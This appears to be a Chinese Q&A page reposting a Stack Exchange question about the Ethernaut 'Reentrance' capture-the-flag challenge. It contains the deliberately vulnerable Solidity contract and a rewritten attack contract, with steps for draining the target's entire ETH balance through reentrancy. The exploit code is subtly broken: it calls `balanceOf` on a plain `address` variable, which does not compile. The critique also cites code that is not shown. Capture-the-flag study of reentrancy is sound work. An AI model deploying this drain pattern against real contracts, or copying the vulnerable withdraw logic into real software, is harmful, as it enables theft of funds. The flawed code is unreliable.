You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Ethernaut重入攻击挑战遇阻:无法清空目标合约余额求助

重入攻击合约问题排查

目标合约代码

pragma solidity ^0.8.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';

contract Reentrance {
  
    using SafeMath for uint256;
    mapping(address => uint) public balances;

    function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint balance) {
        return balances[_who];
    }
 
    function withdraw(uint _amount) public {
        if(balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value:_amount}("");
        if(result) {
            _amount;
    }
        balances[msg.sender] -= _amount;
    }
}

    receive() external payable {}
}

你的攻击合约问题分析

当前攻击合约存在3个关键问题,导致无法清空目标合约余额:

  • 重入终止逻辑错误:require(i<target.balance);的判断逻辑不成立。每次提取1wei后,target.balance会减少1,i却持续累加,当目标余额剩余不多时,i会远大于剩余余额,直接终止重入循环,无法提完所有资金。
  • 单次提取效率过低:每次仅提取1wei,不仅操作繁琐,还容易因gas耗尽导致重入中断。
  • 捐赠参数逻辑冗余:calldonate同时传入val和使用msg.value,若两者数值不一致,会导致目标合约balances记录的金额与实际捐赠ETH不匹配,后续无法正常触发提款。

修改后的攻击合约

contract interactor{
    address public target = 0xd9145CCE52D386f254917e481eB44e9943F39138;

    constructor() payable {}

    function donate() public {
        (bool success,) = target.call{value: address(this).balance}(
            abi.encodeWithSignature("donate(address)", address(this))
        );
        require(success, "Donate failed");
    }

    function attack() public {
        uint withdrawAmount = target.balanceOf(address(this));
        (bool success,) = target.call(
            abi.encodeWithSignature("withdraw(uint256)", withdrawAmount)
        );
        require(success, "Withdraw failed");
    }

    fallback() external payable {
        uint targetBalance = address(target).balance;
        if (targetBalance > 0) {
            uint withdrawAmount = target.balanceOf(address(this));
            if (withdrawAmount > targetBalance) {
                withdrawAmount = targetBalance;
            }
            target.call(abi.encodeWithSignature("withdraw(uint256)", withdrawAmount));
        }
    }
}

修改说明

  1. 简化捐赠逻辑:直接将攻击合约的全部ETH捐赠给自己,确保balances[address(this)]与实际捐赠金额完全匹配,避免参数冲突。
  2. 最大化单次提取金额:每次提款提取自己balances中的全额(或目标合约剩余的全部余额),提升效率并减少gas消耗。
  3. 修正重入终止条件:直接判断目标合约余额是否大于0,只要还有资金就继续重入,确保清空所有ETH。
  4. 增加调用校验:在donate和attack中加入调用成功校验,方便快速排查调用失败问题。

操作步骤

  1. 部署攻击合约时,转入与目标合约余额等量的ETH。
  2. 调用donate函数,将攻击合约的ETH捐赠到目标合约,完成余额记录。
  3. 调用attack函数触发第一次提款,后续重入逻辑会自动清空目标合约所有余额。

内容的提问来源于stack exchange,提问作者Ali Jouahri

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.07 07:25:18